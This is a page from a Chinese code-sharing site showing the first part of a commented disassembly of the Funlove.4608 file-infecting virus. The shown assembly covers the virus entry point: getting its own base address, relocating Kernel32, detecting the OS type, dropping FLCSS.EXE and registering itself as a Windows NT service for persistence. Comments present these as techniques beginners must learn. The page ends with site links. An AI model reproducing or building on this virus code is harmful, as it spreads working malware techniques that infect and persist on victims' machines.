;*********************************************************************************************
;　　　　　Flcss.asm
;
;　　　　　disasm by Code Demon
;　　
;　　　　　Code Demon Virus Dreaming Factory
;
;*********************************************************************************************

.586

ASSUME　　　CS:CODE,DS:CODE

CODE　　　　SEGMENT　　　USE32

VSize　equ　　　　offset　　　VEnd - VStart

Phys_VSize equ　　　　　1000

main:
;*********************************************************************************************
; 开始代码
;*********************************************************************************************
VStart:

　　 call　　　　GetDelta　　　　;此子程序用于取得病毒在内存中的开始地址,是绝大
　　　　 ;多数病毒都要用到的经典技术只一,对于写一些加密
　　　　 ;的软件有很大的帮助,莱鸟必看
　　 lea　　　　　esi,[offset HostCode + ebx]
　　 mov　　　　　edi,[esp]
　　 sub　　　　　edi,08
　　 mov　　　　　[esp],edi
　　 movsd
　　 movsd

　　 push　　　　dword ptr [esp + 04]
　　 call　　　　RelocKernel32　　;重定位Kernel32

　 or　　　　　eax,eax
　 jz　　　　　short Exit

　　 cmp　　　　　byte ptr [offset OS + ebx],00;判断操作系统的类型
　　 jnz　　　　　short NT_Srv

　　 call　　　　Create9xProcess　;建立WIN9X进程
　　　　 ret

NT_Srv:　call　　　　CreateNTService　;建立NT服务
Exit:　　　　ret
;*********************************************************************************************
;建立NT服务的子程序
;*********************************************************************************************
CreateNTService:

　　 call　　　　RelocAdvapi32

　 or　　　　　eax,eax
　 jz　　　　　short CNT_Failed

　　 push　　02
　　 push　00　　
　　 push　00　　　　　; 取服务管理器的句柄
　　 call　　　　OpenSCManagerA

　 or　　　　　eax,eax
　 jz　　　　　short CNT_Failed

　　 mov　　　　　SCM_Handle,eax

　　 call　　　　CreateExecutable　;建立FLCSS.EXE,

　 or　　　　eax,eax　　　　; 已经驻留内存就退出.
　 jz　　　　　short CNT_Exit

　　 mov　　　　　edi,0F01FF
　　 lea　　　　　esi,offset [Service + ebx]
　　 push　　　edi
　　 push　　　esi
　　 push　　　　SCM_Handle
　　 call　　　　OpenServiceA

　 or　　　　　eax,eax
　　 jnz　　　　　short CNT_Run

　　 xor　　　　　eax,eax
　　 push　　　eax
　　 push　　　eax
　　 push　　　eax
　　 push　　　eax
　　 push　　　eax

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] 下一页

上一篇:再谈进程与端口的映射

下一篇:也谈突破网吧权限之超实用文章

Funlove.4608的源代码相关文章：

·qq空间皮肤背景代码：QQ空间不用Q币更换主页皮肤方法

·QQ空间免费换皮肤代码

·QQ空间透明flash代码

·免费领养QQ空间五级花最新技巧及代码放送

·如何在QQ空间加入播放器代码

·不用Q币装扮QQ空间皮肤代码

·javascript 常用代码大全

·[最新QQ空间代码]QQ空间花,漂浮物、开场动画代码

·QQ空间导航代码最新版使用方法

·QQ空间流星雨效果代码

Funlove.4608的源代码相关软件：

·Oracle官方文档CHM合集-Oracle10g错误代码

·微软补丁：JPEG恶意代码漏洞 For WinXP 简体中文版

·C语言垃圾代码清除工具

·Microsoft Windows 系统错误代码

·JAVA 3D 魔方源代码

·Oracle官方文档CHM合集-Oracle9i错误代码

特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员，我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源：http://www.vipcn.net

	\| 帮助(？) \| 版权声明 \| 友情连接 \| 关于我们 \| 信息发布
Copyright 2007 www.vipcn.net All Rights Reserved.	鄂ICP备05000083号Powered by:viphot